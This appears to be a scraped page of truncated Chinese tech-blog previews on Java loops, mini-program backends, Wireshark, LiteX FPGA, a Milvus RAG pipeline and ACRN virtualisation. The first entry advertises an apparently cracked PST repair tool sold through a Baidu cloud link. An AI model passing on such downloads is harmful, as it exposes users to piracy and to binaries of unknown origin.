可正常激活使用&#xff0c;非常强大好用的PST邮箱邮件数据文件修复工具 下载地址(资源制作整理不易&#xff0c;下载使用需付费&#xff0c;不能接受请勿浪费时间下载) 链接&#xff1a;https://pan.baidu.com/s/1bfkVNrgdaVS2MkTnW19Zqw?pwdu2sj 提取码&#xff1a;u2sj

Java流程控制09:练习题:打印三角形

本节视频链接&#xff1a;https://www.bilibili.com/video/BV12J41137hu?p44&vd_sourceb5775c3a4ea16a5306db9c7c1c1486b5https://www.bilibili.com/video/BV12J41137hu?p44&vd_sourceb5775c3a4ea16a5306db9c7c1c1486b5 通过嵌套for循环可以实现打印三角形&#xff…

微信答题小程序产品研发-后端开发

在开发答题小程序的后端服务和数据库设计时&#xff0c;需要考虑API的设计、数据库模型的构建以及数据的安全性和一致性。 这里我采用了云开发&#xff0c;后端语言是Node&#xff0c;数据库是NoSql&#xff0c;然后我简单整理了各个功能模块的后端开发概要和数据库设计。 1. …

志愿服务管理系统--论文pf

TOC springboot360志愿服务管理系统--论文pf 第1章 绪论 1.1选题动因 当前的网络技术&#xff0c;软件技术等都具备成熟的理论基础&#xff0c;市场上也出现各种技术开发的软件&#xff0c;这些软件都被用于各个领域&#xff0c;包括生活和工作的领域。随着电脑和笔记本的广…

免费的抓包软件wireshark以及简单使用

官网下载链接 https://www.wireshark.org/download.html 安装成功后直接打开即可使用 点击‘wan’即可使用 抓包信息可以在底部菜单栏查看 过滤之查看‘tcp’类型的&#xff0c;自行输入过滤

【LiteX】【开发板】【BoChenK7】使用Python开发FPGA【Linux】

文章目录 开发板介绍下载仓库环境安装仿真测试上板测试添加targets 工程构建开启TFTP Server 工程测试Linux启动&#xff08;netboot&#xff09;HDMI测试SD Card网络测试TFTP测试Linux启动&#xff08;sdcardboot&#xff09;LiteX工具烧录BIOS烧录&#xff08;好像有问题&…

使用 Hugging Face 和 Milvus 构建 RAG 系统

Milvus 是一个广受欢迎的开源向量数据库&#xff0c;为人工智能应用提供高性能和可扩展的向量相似性搜索。在本教程中&#xff0c;我们将向您展示如何使用 Hugging Face 和 Milvus 构建 RAG&#xff08;检索增强生成&#xff09;流程。 RAG 系统将检索系统与 LLM 相结合。该系统…

CSP-CCF 202206-1 归一化处理

目录 一、问题描述 二、解答 三、总结 一、问题描述 二、解答 代码&#xff1a; #include<iostream> #include<math.h> using namespace std; int main() {double n;//设置成double有利于后续的计算cin >> n;int a[1001] { 0 };int sum 0;for (int i …

嵌入式Linux应用程序开发-1Linux快速入门

1.1 嵌入式Linux基础 1.1.1 Linux发展概述 Linux是指一套免费使用和自由传播的类UNIX操作系统。 1.1.2 Linux作为嵌入式操作系统的优势 1&#xff09;低成本开发系统 2&#xff09;可应用于多种硬件平台 3&#xff09;可定制的内核 4&#xff09;性能优异 5&#xff09;良好…

Intel ACRN 安装WIN10 VM

上一篇帖子记录了ACRN运行rt linux&#xff0c;这篇帖子记录一下最近倒腾出来的WIN10。目前架构如下 ACRN可以把它理解为一个基于Linux类似软件的Type1 Hypervisor&#xff0c;基于Linux去做而不是baremetal是为了更方便去配置资源。 首先我们得有两台电脑&#xff0c;一台是开…